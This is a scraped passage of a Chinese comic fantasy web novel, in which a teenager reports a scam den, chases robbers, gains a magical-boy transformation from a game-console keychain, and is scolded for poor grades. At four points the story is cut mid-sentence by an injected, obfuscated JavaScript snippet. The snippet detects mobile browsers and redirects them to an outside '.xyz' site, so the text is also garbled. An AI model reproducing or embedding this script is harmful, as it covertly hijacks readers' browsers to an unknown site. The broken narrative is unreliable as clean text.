雀跃之情虽未溢于言表,却于行动之中展现得淋漓尽致。 温朗都要被他气笑了。 “队里有人受伤了,所以我只是去帮忙打一场友谊赛。以及,就算我不在,你今天的任务还是要完成,我晚上会检查的。” 要不要这么负责啊喂! 罗乐安默默在心里踢了对方一脚,面上则是非常配合。 “我知道我知道,你放心去吧,好好打比赛,要赢哦~” 最后,上午九点半,温朗在自己竹马热情的眼神中离开,而五分钟后,后者在从图书馆窗户看到前者乘上公交车的身影后,立刻马不停蹄地收拾自己的东西,十分钟后,坐上了反方向的公交车。 至于晚上的作业检查—— 呵,萌混过关这种事他从小做到大,拿手得很。 实在不行,还可以加大剂量,撒他一晚上娇! “流泉巷……湖灵市有这么个地方吗?” 嘴里一边嘟嘟囔囔,罗乐安一边对照着导航寻找培训班的位置。 广告单上虽然给了地址,但是在地图上搜索根本没找到这家店,所以他只能比对着门牌号一间一间店找。 而在跟着箭头原地转了三圈后,他终于在两栋楼中间看到了非常不起眼的“流泉巷”三个字,然后在巷子的尽头,他的导航终于结束了。 一栋其貌不扬的二层小楼。 emmm…… 罗乐安撇着嘴盯着那个不起眼的门洞——不,已经不能用不起眼来形容了,是简陋——不仅没有门头,就连二楼的窗户上都没有贴任何招生标识。 怎么看,都很不靠谱。 这让他心里生出了些退意,不过刚后退了一步,便停住了。 他想起自己刚刚倒了两次公交一次地铁,好不容易才从城北赶到城南,大中午的还饿着肚子,就这么打道回府,他都对不起今晚“生气(伪)预警”的温朗。 “其实仔细想想,魔法少女培训班这东西,好像本来也不能放到明面上来讲。” 想起自己母亲对马甲的三缄其口、讳莫如深,他又给自己找到了留下来的理由。 “还是进去看一眼好了,万一里面面别有洞天呢?” 秉持着“宁可错杀不能放过”的原则,罗乐安最后还是踏进了那个黑乎乎的门洞。 然后,他发现这地方还真的是表里如一的破旧。 门口只有一个小小的前台,里面窝着一个胡子拉碴的中年男子,正在用手机打游戏,嘴里还很不和谐地炮轰着游戏中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898875|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队友。 咦…… 这副情景,逼得罗乐安生生把刚迈进去的左脚重新迈了回来,大毛和二毛更是难受得打结到了一起。 不对劲。 他抖掉一身鸡皮疙瘩,顺着墙根溜到一边,确定自己看得到里面而里面看不到自己后,鼓着腮帮子开始分析。 一个需要“大隐隐于市”的魔法机构,守门人朴素一点的确不是什么大问题,谁知道会不会是一位扫地僧。 但他觉得,就算是扫地僧,伪装的马甲应该也是有门槛的,至少也得是老韩头那种,而不是里面那个满嘴离不开生殖器的雄性碳基生物。 反正他是不会相信进到这个房子里的人,出来之后能成为胡女士那样优雅美丽的魔法少女。 糊弄傻子呢吧! 某位姓罗的小傻子没忍住,气得直跺脚,大概是动作太大的缘故,被房子里面那个刚结束了一局游戏的猥琐男瞄到了乱晃的影子。 “老黑?你小子终于泡完妞回来了?!老子快饿死了,快点把饭拿进来,吃完饭开始宰羊,昨天那个死老头儿快上钩了……老黑?你人呢?!又死哪儿去了!” 门外空无一人。 原本躲在那里的罗乐安,已经先一步溜到了巷子口,一边痛惜自己浪费的时间,一边默默掏出手机。 “喂,警察局吗?我要报警,流泉巷这里有个疑似电信诈骗的窝点……” 下午三点,罗乐安意志消沉地坐上了回城北的公交车。 警察的抓捕行动很顺利,作为举报并配合笔录工作的热心市民,他也收获到了口头表扬。 然而这根本不是他想要的,一想到自己花了六个小时就得到了这些,罗乐安就想掐死昨天那个因为一张广告单而兴奋到辗转难眠的自己。 至于那张宣传单,他犹豫再三,还是没抵过好奇,抱着最后一丝希望,忍着羞耻询问了警察。 「你是说那个『星光摇篮』吗?那个其实是这群骗子宣传诈骗培训的手段,算是他们内部的黑话。你该不会真的是被这个吸引过来的吧?」 「呵呵呵!怎么会呢!我我我就是纯路过,呵呵呵呵呵……」 嗯。 最后的希望毁灭了。 呸! 这些晦气的东西!! 今晚要用柚子叶洗澡!!! 罗乐安在心里狠狠画圈诅咒了二十分钟,心里的火气慢慢散尽,整个人便又丧气了起来。 要不还是算了。 他头抵在车窗上,劝自己放弃做梦,回归现实。 不过一想到变身后的胡女士那绚丽的服装和魔法,他就心痒难耐,决心再次动摇。 到底还是不甘心。 毕竟他可是一个具有双重魔法血缘的魔二代啊! 没道理爸妈都是魔法使,就他自己是普通人! 越想越憋屈,胸中好不容易才熄灭的火气又重新燃了起来,烧的他烦躁不安,于是中途下了公交车,一头扎进路边的电玩城。 没有什么情绪是玩游戏不能疏解的,如果不能,就一直玩。 大概是最近接连几天都过得太惨,老天都看不下去了,罗乐安这个下午的手气格外好,不出一个小时就已经抓了九只娃娃,手头兑换的游戏币还剩下最后两个,抓大娃娃不够用,便重新找了一台抓钥匙扣的娃娃机,然后好运再次降临。 “哟吼~” 他的心情重新变美丽,一边哼着扭曲的小曲儿,一边蹲下身去拿自己最后的战利品。 只是拿出来的却并不是自己原本抓到的帕恰狗钥匙扣,而是两个挂件。 一个游戏机,还有一个游戏手柄。 除此之外,取物口里空无一物。 7. ANOMALY⑦ 嗯? 谁忘了拿吗? 可是他的帕恰狗呢? 罗乐安头顶的呆毛弯成了两个问号,他又不信邪地伸手又往里掏了掏,却依旧没有摸到除了灰尘以外的其他东西。 “奇怪,被卡住了吗?” 他站直身子自言自语道,盯着面前的机器好一会儿,最后像是下定了某种决心,深呼吸,抬起手。 “啪!啪啪啪!啪啪啪啪啪啪啪!!!” 一阵狂风暴雨般的拍打席卷了那台娃娃机,可惜没有掉出他的钥匙扣,反倒是随机掉落了四个工作人员,在他周围围成一圈。 “我这不是恼羞成怒,”他下意识举起双手,试图解释,“我刚刚抓到了一个帕恰狗,但是没掉出来,我以为是机器卡住了。” “可是我们检查过了,出物口那里并没有其他东西哦,请问还需要其他帮助吗?” 出了这种岔子,情绪好不容易有所好转的罗乐安,气场又低迷了起来。 “……算了,不用了。”他摆了摆手,在工作人员的紧盯离开了电玩城。 诸事不利啊。 他站在(人生的)十字路口前,开始思考接下来的计划。 暑假的补习肯定是还要继续的,而像今天这样可以自由活动的机会却不一定会再有,所以真就这么乖乖补卷子那他是肯定不会甘心的。 但是真让他在外面继续浪,,他却也完全不知道还能做些什么。 可恶! 为什么那些魔法少女的动漫主人公都那么幸运,走在路上就能有奇遇,而他这个主观能动性这——么强的人,却只能巧遇电信诈骗的窝点。 未免也太差别待遇了吧,呜呜呜…… 还是说,他的机遇不在白天,而是在晚上? 那他要不要试试半夜偷溜出门? 不过这种行为被胡女士抓住,他肯定会死的非常惨。 “要不我去算个命吧,我记得老穗说过这附近好像有家占卜店塔罗算得很准……” 在熬过了三次绿灯后,罗乐安终于找到了新的努力方向。 然而就在他准备过马路的时候,又出现了变故。 “杀千刀的——” 一道惊慌的声音自他身后响起,本能转身后,他看到了一个带着头盔骑电动车的男人从自己面前飞驰而过。 顺着车辆驶来的的方向看去,一个胖胖的老奶奶正费劲巴力地往前跑,嘴里嚷着听力难度十级的当地方言,罗乐安也只能辨认出其中几个常用的非文明用语,以及一个关键词——五万。 然后他本能开始做完形填空。 【个杀千刀的龟孙子抢了老娘五万块钱。】 用一秒钟做完了题,然后下一秒钟他拔腿就跑,朝着车辆消失的方向就冲了过去。 一般人想要追车,用跑的根本不现实。 然而罗乐安作为一个优势科目是体育的文科生,和他的瘦弱身板不相符的,是他拥有超绝的耐力和体力,因此才能在高一的全校运动会上力压体育生,夺得了5000米长跑比赛的冠军。 不过想要只用脚就找到那个强盗,还是有难度。 好在他还有杀手锏。 在跑到第一个三岔路口后,他停了下来,伸手扶住最近的一棵行道树,闭眼喘息片刻,睁眼后撂下一句“谢啦”就拐进了左边的路口。 这句道谢是跟那棵行道树说的。 没错,是棵树,而且是棵普通的法桐,并没有成精,但架不住罗乐安从小就能跟植物“交流”——说交流不够准确,其实只能大概感受到彼此的情绪。 这个能力是在他搬到温朗家隔壁半年后第一次发现,当时他原本想跟胡女士汇报来着,只不过对方那个时候好像在忙着修图,没工夫听他嘚啵嘚,再之后他就忘了要打招呼这事儿了,反正除了乍一听有些神奇,这能力也没什么其他用处。 却没想到有朝一日还能当监控用。 就这样,他每个路口都找棵树“做法”,四五次后,成功追到了抢匪的落脚点。 落脚窝点。 看着偏僻小巷尽头的三个花臂壮汉,罗乐安缩回墙外的脑袋,悲催地叹气。 占卜店不用去了,他现在已经可以给自己下批语了。 忌小巷,忌贼窝,忌助人为乐。 本能驱使的追击行为结束,他冷静下来,开始认真思考自己也以一敌三并获胜的可能性。 思考许久,答案依旧是零。 毕竟他只是擅长长跑,总不能把这三个壮汉跑死吧! 所以还是报警让专业人士来处理最好了。 罗乐安这么想的,也这么做了。 只是就在他发完报警信息转身想要离危险的旋涡中心远一点时,小说动漫电视剧中最爱用的“不出意外”定律,出现了。 自己那只不争气的左脚,偏偏就踢中了一个落在地上的易拉罐,而易拉罐又那么好巧不巧,径直滚进了小巷里。 “谁!滚出来!” 粗犷的嗓音伴随着重重的脚步声,离罗乐安越来越近。 也让他离自己的死线(纯字面意思)越来越近。 哪里能躲啊! 他四下张望着,头顶的两根呆毛也疯狂转着圈,可惜大毛和二毛的雷达功能并没有覆盖紧急避难所,因而只是乱七八糟地瞎转。 别问他为什么不跑,因为他跟猎豹正相反,擅长长跑,但速度不占优势,同一时间起步肯定是跑不赢带轱辘的电动车的。 跑又跑不赢,这附近还没有什么遮挡物,看来只有一条路能走了。 上墙! 手指扒住砖缝,脚底踩住墙边缘的突起,轻巧一蹬,人便已经向上窜出了三四米,右手迅速抓住二楼窗户外的围栏,腰一扭,身一翻,罗乐安人就到了窗户上端,踩在空调外机的小架子上,一旁的机器将他的身形虚虚遮掩住。 理论上,只要那几个人不抬头仔细找,应该是发现不了娇小的他。 奈何人生总有意外,世事长存无奈。 这栋楼从外观上看就能判断出是建于上个世纪九十年代,虽然整体并无什么损坏,可一些放在户外的金属制品,经历了三十多年的风吹雨打,早就到了职业生涯的末端,所以在多了个人的重量后,从架子到机器都开始不堪重负地“咯吱咯吱”。 照这样下去,被发现也是迟早的事了。 罗乐安一边在心里拼命懊悔自己的冲动,一边紧紧贴住墙面,左手死死扣住三楼窗户围栏的下端,努力减小他对空调外机架子施加的压强。 大概是他太过紧张的缘故,左手被围栏边缘划破都没有注意到,直到血液顺着胳膊滴到鼻子上,他才反应过来。 这个时候那三个壮汉已经来到了他的正下方,看了一圈什么都没发现,正打算返回巷子里面。 要是这种时候血滴下去让他暴露,那可就真的是太冤了。 于是他松开手,小心去掏裤子口袋里的纸巾,而正是在这个关键的档口,意外发生了。 他的手从裤子口袋里掏出来的时候,将那个游戏机和手柄的挂坠带了出来。 完了! “啊——”罗乐安下意识伸手并大叫,下面的人听到动静,正要抬头。 眼看“躲猫猫”要功亏一篑,就在这时,一团宝蓝色的光芒在他眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912356|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前绽开,下一秒,他就发现自己好像已经没有再躲在那个小架子上了。 他出现在了一个全新的陌生空间里。 这里没有墙壁和天花板,也没有坚实的地面,整个空间无边无际地延伸开,笼罩着一层流转着炫彩光晕的薄雾,无数细小如微尘般的光粒无声地悬浮着,飘荡着。 彼此追逐,相互缠绕。时而散开如璀璨星辰,时而汇聚如清冽川流。 而他自己仿佛也成为了其中的一个光粒,无所依地漂浮在此。 罗乐安有些疑惑,心里更多的却是激动。 作为一个浸染多年的中二病患者,他太清楚此刻是什么情况了。 就是他一直在期待并寻找的奇遇啊! 像是读懂了他心里所想,下一秒,这个奇幻空间的制造者便出声了。 「……密钥被激活,能量匹配中……」 一个宝蓝色的光点在罗乐安面前闪烁跳动着着,同时一个性别难辨且无情感的声音响起。 这个应该就是传说中的魔法使精灵了吧~ 只是这个说话风格……怎么感觉比他家天猫精灵还像个智障呢? 不过这不是重点。 “密钥?什么密钥?你在匹配什么?” 「……匹配度80%……匹配度90%……」 “喂喂?摩西摩西?可以转人工吗喂!” 「……匹配度100%……叮——成功解锁变身器,请问是否即刻使用?」 “一句解释都没有的吗?!你的出厂说明到底是谁做的啊!至少得把是什么的变身器说清楚吧!!!” 「……请问是否即刻使用?」 “……如果,我是说如果,我现在不使用,会有什么结果啊?” 「……请问是否即刻使用?」 “……” *的! 果然智障!!! 罗乐安在心里疯狂输出,但是现在他根本看不见空间之外的情况,也不敢赌自己真的拒绝的后果,犹豫三秒后,咬着牙点头,“用!” 希望这个变身器不会把他变成什么奇奇怪怪的物种,比如飞天小猪什么的。 原来不仅童话里都是骗人的,动漫也是,从来没见过哪部作品的魔法少女变身会这么曲折。 话说这个智障精灵也不知道有没有什么投诉渠道,窗口应该没设在阿富汗吧? …… 一个“用”字的时间,罗乐安脑海里奔腾而过了无数的吐槽,倒不是他脑速够快,而是这个智障精灵的反应速度实在是太慢,他都已经无槽可吐了,那边那个蓝色光点还没反应呢。 真的是槽多无口,可以退货吗? “喂?我说我要用!死机了?还是断网了……袜!” 伴随着他的惊呼,那个反射弧可以绕地球三圈的光点终于有了反应。 光芒迅速扩散将他包裹,无数暖流涌入他的身体,最后在他的心口汇聚。 巨大的能量盘踞在他的胸口隐忍不发,似乎是在等待一个释放的指令。 可是他要到哪里去寻找指令啊喂! 好在精灵的反应速度这个时候终于加快了,还没等他问,就主动提供了“解题步骤”。 「请大声念出变身咒语:上上下下左左右右BABA——Aether连接,L-R召唤!」 原来动漫里也不全都是骗人的,至少变身咒语的社死程度如出一辙,就连资深中二病的罗乐安,都感觉到了些许窒息。 不过还好这个空间除了自己没有其他人,那就—— “上上下下左左右右BABA——Aether连接,L-R召唤!” 8. ANOMALY⑧ “上上下下左左右右BABA——Aether连接,L-R召唤!” 这句咒语就像是一把钥匙,打开了罗乐安心口储存着能量的容器,暖流自他胸口喷薄而出,幻化成七彩的光带,缠住了他的身体,也蒙住了他的眼睛。 好在这种不受控制的状态只有短短一瞬,他还还未反应过来发生了什么,就已经重获了自由和光明。 而且还是双重意义的。 短暂的黑暗过后,他发现自己回到了之前的那个巷子口,入目就是那三个壮汉越来越近的脑瓜顶。 诶? 等等! 这个视角……怎么感觉有点像蹦极呢? 蹦极——??? 意识到自己正以大头朝下的姿势下落,罗乐安本能地蜷缩身体,想要调整到用背部着陆的姿势,谁料此刻的他身体的柔韧性和灵巧程度远超他的平时水平,脑袋只是朝胸口的方向稍微一用力,整个身体便朝前翻滚了180°,变成了脚朝下的体位。 再然后,他就轻轻巧巧地落了地,那轻松的模样,仿佛人不是从三层楼的高度掉下来的,而是从二三十公分的台阶上跳下来似的。 “Oi~” 罗乐安本人对这个结果也有些吃惊,但他好歹才刚走完流程,眨眼间便已反应过来发生了什么。 “变身竟然是真的~我的身体感觉好轻哦,好像真的可以飞檐走壁了诶~” 一边感慨,他还一边右脚一蹬,果然轻轻松松跳到五六米高,精灵带给他的无语瞬间清空,整个人现在只有兴奋。 “那我现在是什么样子啊?真是的,这里怎么都没有镜子!” 他脚底像是装了弹簧一样,到处蹦跶了三四次,终于想起要看看自己的变身后的新马甲全貌,最后总算找到了一扇没有加装护栏的窗户,模模糊糊看了个大概。 可就算是个大概,他的点评也足够细致了。 “哇哦~竟然还有面具,有点点像怪盗诶~ “头发衣服都是蓝的,这么一看我才应该叫‘蓝莓酱’才对嘛~ “这个反重力的长发,真酷诶~大毛和二毛竟然也长长了,可恶! “这身衣服……还好只是斗篷搭配短裤,不过乍一看真的好像小裙子哦,吓我一跳。 “竟然还有小礼帽,好看是好看,不过款式是不是太少女了? “胸针为什么会是游戏手柄?难道这个就是变身器吗?那精灵就是游戏机了吗?怎么不见了?难道是藏在胸针里面了吗? “话说和蓝莓酱的皮肤相比,我这个也太简约了吧!虽然游戏按键做装饰是挺别致的,可是连蝴蝶结都没有,也没有亮闪闪的配饰,别是给我了个‘阉割版’的吧? “智……这只精灵,你能不能说说话啊,我有好多问题要问你诶!” …… 从一开始就被无视了个彻底的壮汉三人组,被迫围观了罗乐安·魔法少男版上蹿下跳几周天的全部过程。 “大哥,介嘛玩意儿?男的女的?” “你问老子,老子问谁去!咱不是碰上个大彪子吧?” “不是,是内个……叫啥玩意儿来着?卡兹霹雳?” “是cosplay,恁个废物点心!” “你骂谁呢!再骂一句试试!” “骂你呢,怎么的吧?我……” “行了!别吵吵了!” 操着东北口音的大哥出声打断了没营养的内讧,“一个个缺心眼的玩意儿,现在是讨论谁傻逼的时候吗?” 翻了个大白眼,他伸出花臂指向还在照镜子吐槽的罗乐安。 “嘿!你谁啊!” 听到动静,奋力扑腾照镜子的人终于把注意力转了回来,想起自己见义勇为的初心。 对对对! 锄强扶弱才是正事! “咳咳~”他消停下来,两只脚不再乱蹦跶,双手环抱胸前,扬起下巴,努力摆出一个气势十足的poss。 “既然你们诚心诚意地问了,那我就告诉你们好了,我是正义的使者,你们可以叫我……” 说到这里,他突然卡壳了。 对哦! 他魔法使的代号是啥来着?那个智障精灵完全都没说诶! “精灵!精灵!我的代号是什么呀?” 罗乐安使劲拍了拍胸前的手柄胸针,却没有得到任何回应。 “靠!我刚刚问你话的时候你装死,我还以为是懒得搭理我……结果你不是装死是真死啊!那至少也得把新手指引完成再死啊喂!” 这边新晋的菜鸟魔法使正在骂骂咧咧、暴跳如雷,那边又一次被无视的壮汉们也是同款骂骂咧咧、暴跳如雷。 只不过先行动的,是后者。 “管你小子是哪个精神病院跑出来的,反正落到咱哥几个手里就别想着囫囵个回去!” 东北口音的老大一边说着威胁的狠话,一边掏出一把弹簧刀,而另外两个小弟见状,也紧忙跟上。 于是,等罗乐安回过神来时,面对的就是三把锋利的刀尖。 靠! 这个智障精灵没反应,所以他连自己有什么魔法都不清楚,难不成真的要靠拳头和刀子硬碰硬吗? ber! 谁家魔法使是靠肉搏战斗的啊! 还是说……他只能先逃跑? 可这未免也太丢人了吧! 对面三个人可没空听他的吐槽,甚至都没等他回神——毕竟也不是什么一对一的公平较量——便拿着刀朝着罗乐安直冲过去。 “啊啊啊你们一定要坏得这么标签化吗?” 后者一边大叫,一边跳着躲开了这次的偷袭。 然后,他在这几个人身后落地的时候,就看到三个壮汉因为急刹车导致重心不稳,差一点就要“叠叠插插乐”的画面。 唔? 罗乐安歪歪头,眼睛咕噜一转,紧接着嘴角扬起坏笑。 敏捷满点(且机灵可爱)的刺客VS灵活度差(且笨重愚蠢)的坦克,好像也不是完全没有赢面嘛~ 但是,当务之急是得先找个趁手的武器。 于是他在第二次起跳躲避的时候,在空中仔细找寻了一圈,最终在巷子尽头那里看到了一整捆的红皮电线。 就它了! 他几个长跳跑了过去,拿起电线的一端又折返,并且直接冲到了那个老大的面前。 突然被贴脸,尽管对方是个只会逃的战五渣,还是让冲在最前面的壮汉吓了一跳,脚步瞬间慢了半拍,左右脚一绊,整个人开始原地栽歪,好险才没有摔倒。 只是后面的两个小弟就没那么幸运了,一人撞一边,最后三个人成功“叠叠乐”。 罗乐安等的就是现在! 他飞快上前,先是几脚踢飞那三把刀,接着用电线紧紧缠住三个人六只脚,还别出心裁地捆成“三人四足”的模式。 但是仅仅是这样他还不是很放心,又在对方源源不绝的屏蔽词中,把每个人的双手都折到背后绑紧,最后的成品就是三条原地扑腾的“胖头鱼”。 “大功告成~让你们欺负人,以多欺少还偷袭,真当小爷吃素的啊!” 一脚踏在那个老大背上,罗乐安得意得都快鼻孔朝天了,好在他想起自己的身份是魔法少男而不是街头拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923301|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇,马上把脚放了下来,单手叉腰,又是活脱脱一个小仙……男。 “可是接下来要怎么办呢?正义的使者都是神秘的,我可不能直接把人送警察局去……” 他噘着嘴自言自语地烦恼着,就在这时,胸前的手柄胸针突然闪烁起来,与此同时,包裹着他身体的那股能量也隐隐出现了扩散的迹象。 这是……变身时限到了? 意识到这一点,罗乐安立马顾不得地上的三个人,紧忙跑到另一边没人的巷子里。 而随着他的身影消失在巷子口,他身上的衣服变回了早上穿的那套帕恰狗套装,头发(包括呆毛)也恢复了原本的长度,远看还是一颗毛茸茸的栗子头。 “呼……这bug也未免太多了。” 他有些无语地叹了口气,下一秒却又马上支棱了起来。 “不过这样我就能放心押解罪犯了~嗯?等等,从武力值的角度好像也没办法很放心……有了!” …… “警察同志!” 胖胖的大妈操着不太标准的普通话,跟在两个警察身边,一路不停地絮絮叨叨。 “那包里有俺特别要紧的东西,你们可一定得帮俺找着啊!” “大娘,我们已经去调监控了,相信很快就能找到抢匪落脚的地方。但是我得跟您打个预防针,您包里的东西吧……那人大概率看不上,很可能中途就扔了。如果真这样了,那情况就会复杂很多。” “那可不行啊!不是有这么多摄像头呢吗?你们一定能给俺找着,那里面可是有俺……” “警察叔叔~” 一个脆生生的声音打断了大妈的抱怨,三个人扭头一看,就见一个十七八岁的少年人,正眨着一双大眼睛,一错不错地看着他们。 “怎么了?需要什么帮助吗,小同学?” “我没事,就是那边……” 少年人,也就是罗乐安,伸手指了指西边的巷子口,“我刚刚经过那边,看到里面好像有三个人被绑着。那几个人凶得很,我也不敢给他们解开,就准备报警,然后还没来得及打电话就看到你们了。” “被绑着?” 两个民警相视一眼,没再多问,大步朝着罗乐安指着的巷子跑去,刚拐进去,就看到三个壮汉倒在地上,脚乱蹬,嘴里还不住骂着。 emmm…… 这场面怎么看都不太像是被人欺负。 “啊!就是他!就是他抢的俺的包!” 后面跟上来的大妈突然大喊道,“俺认得他的纹身,四脚蛇,就他!警察同志,你们快把他们抓起来!” 有了受害者的指认,后面的事情就简单多了,抢匪被警察押回派出所,而大妈则是拿回了自己宝贝的包包。 “阿姨,您之后可别在身上带这么多现金了,太不安全。” 坐着警车去警局录口供的路上,罗乐安热心地给大妈科普安全常识。 “现金?俺没带现金,俺都用微信。” “啊?可当时您不是说有五万块钱吗?” “哦哦哦,俺说的‘五万’是这个——” 一边说,大妈一边从包里掏出一枚……麻将。 花色刚好就是“五萬”。 “这是俺的护身符,每次带着它打麻将,俺都能赢牌~” “大娘,不可以赌博。” “不赌不赌,警察同志您放心,俺们几个就随便玩玩,随便玩玩。” 罗乐安:“……” 他有点自闭。 所以,他顶着bug与风险,忙活到太阳都落山了,到底是为了什么啊! 摔!!! 9. CORNFLOWERS① “罗乐安。” 温朗的语气是前所未有的严肃认真,“你是不是看我不顺眼?” “咳咳!没没、没啊……” 坐他对面的罗乐安强行中止了打到一半的哈欠,耷拉的眼皮和呆毛写满了心虚。 “那你告诉我,距离放假才过了不到十天的时间,你这个测试成绩就从五百多下滑到四百多,如果不是想整我,难道是想气死胡阿姨吗?” 一边说,温朗一边又翻看了一遍那令他闹心的数学卷子,愁得扶额。 这大概是他学霸人生中最大的滑铁卢了。 听到这话,某个不孝的学习落后分子头低得更低了。 “emmm……这只是个意外……” “意外?所以你是想说,你这黑眼圈也是意外吗?” “……” 这次,罗乐安终于没再出声给自己找理由了。 因为他脸皮再怎么厚,都没办法大言不惭地说自己的黑眼圈是熬夜学习熬的。 事实上只有熬夜是准的,至于为什么熬夜嘛…… 具体原因还得从他二度从警察局出来又被警车跨区送回家的那个晚上说起。 尽管白天他的确是翘了“自习”,但其实无论是温朗还是胡女士,对此都没有发火。 一是这种结果他们用脚指头就能想到,实在是激不起丝毫的惊讶。 二是他们从警察那里了解到了罗乐安一天两次的“热心市民”行为,为了不打击孩子做好事的积极性,胡女士只能咬着牙,将翘课这事儿轻轻放下。 不过有些事她还是要弄清楚。 “好好的,你怎么突然去城南了?那么远的地方,一年都去不了几次,有什么让你惦记的?” “唔……” 罗乐安不慌不忙从冰箱里拿出一听雪碧喝了两口,他既然敢翘课,自然是早就想好理由了。 “光晶市有家网红甜品在城南开了家分店,我过去打卡来着。” “嗯?” 胡女士自然是没有他说什么就信什么,先是掏出手机上网查了一下,发现的确有这么个事儿后,重点偏移。 “罗乐安,你偷溜出去玩就算了,还吃独食?!” “我我我没有!” 吃了个寂寞的人连忙调动脑袋里储存的资料,终于找到一条可用信息。 “他家招牌都是冰淇淋蛋糕,更适合堂食嘛~你要想吃的话,我们明天可以一起……” “明天可以,一起不行。” 他的话还没说完,就被胡女士打断了,“你真以为翘了自习可以当什么事都没发生吗?从明天起,你外出学习的资格被剥夺了,就乖乖去隔壁念书吧。” “啊?” 噩耗来得太突然,罗乐安眼睛都瞪干涩了,才终于反应过来这迟来的审判结果到底是多么无情。 “啊!这这这没必要吧,再再再说了,这不是把温朗也困在家里了吗?太太太对不起人家了……” “没关系,”胡女士抽走亲儿子手里的雪碧,一口气将剩下半瓶喝光,“人家阿朗自己同意的,他说为了你,他心甘情愿。” 罗乐安:“……” 这种时候,他完全不想要这种感天动地兄弟情啊喂! 最后,胡女士以“断头饭”的名义给了他最后一晚的自由。 要是放在以前,罗乐安一定会尽全力压榨这一晚所有的剩余价值,玩他个通宵才算解气,但如今不一样了,他有了更重要的事情亟待解决,而且这件事的重要程度甚至压过了那个不自由的未来。 草草解决了晚饭,晚上八点,他躲进自己的房间,锁好房门,然后郑重地掏出了那两个看起来平平无奇的挂件。 一个比照着“思维弛”开模的游戏机,是智障精灵。 一个和Pro手柄10:1复刻的游戏手柄,是变身器。 这两个东西从他解除变身后就一直安静地待在自己的书包里,是时候“解除封印”了。 “来吧,虽然过程有点曲折,但既然我们选择了彼此,就还是要摒弃前嫌,信任彼此,相互扶持。话说你选择我作为搭档,真的是非常正确,因为我从很久之前就梦想成为一个大英雄,对于保护世界、和敌人战斗这种事,我没有丝毫的惧怕,永远会冲到第一线的哟~” 说完这番官方套词,罗乐安等了一分钟,也没有等到回应,一个“井”字默默在他的后脑勺浮现。 不过他没有放弃。 “好吧,既然你喜欢更接地气的表达,那我们就先从自我介绍开始吧——我叫罗乐安,十七岁,是一个活泼可爱准高三男生,请问你怎么称呼呀,精灵?” 这次的等待时间是三分钟。 三分钟后,第二个“井”字完整出现在了罗乐安的后脑勺。 行叭。 他努力维持笑容,心里则在骂骂咧咧。 既然不出声,那以后这家伙的名字就叫“智障精灵”好了。 “咳,其实我并不是打扰你休息的,可是关于下午那个变身,我确实有太多疑问,希望你能解答,这样我们之后的合作也才能更、顺、利!” 尽管最后几个字罗乐安说得像是牙都快咬碎了,但在内容上还是保持了基本的礼貌。 然而礼貌也打动不了冷冰冰的游戏机挂坠,这一次他等待了十分钟之久,耐心看似依旧,事实上却早就消磨殆尽了。 所以他这次在停止等待后的反应,比之前都要激烈。 “看来,这真的只是一个普普通通的挂坠——那干脆扔掉好了。” 一边说,他一边忍着热和蚊子走到阳台上,握着挂坠的手伸出栏杆外面。 直至这时,魔法使精灵依旧保持着沉默。 可恶! 好像被拿捏了! 磨着已经有点发酸的后槽牙,他狠下心来,松开了握紧的右手。 在重力加速度的加持下,挂坠终于有了反应。 游戏机的屏幕,亮了。 靠! 还真得撞南墙才行! 但是为什么撞了南墙之后受累的是他啊! 罗乐安一边在心里疯狂吐槽,一边猛地将上半身探出栏杆,以一个非常考验腰力和柔韧性的姿势,在挂坠与手指擦肩而过的瞬间,堪堪将其抓住。 “呼……没关系,好事总是多磨的。” 一边揉着被栏杆硌得酸疼的腰,他一边给自己打气。 倒不是他心胸真有那么宽广,只是下午的时候,自己的的确确是成功变身了,虽然只是外表和身体机能有所改变,可他到底还是朝着“维护世界和平”的梦想前进了一大步。 所以,在找到第二条道路之前,这只废物精灵还是得留着。 想到这里,他迫不及待地挂坠翻正,接着,在看到屏幕上的内容后,他停下了正准备跨进房间的脚步。 【能量不足,需等待117.2小时,充能完毕方可开机。】 啧! 怎么办,又想扔掉了。 还有这个时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935118|176346||http|test|mini|href|location''.split(''|''),0,{})); () { 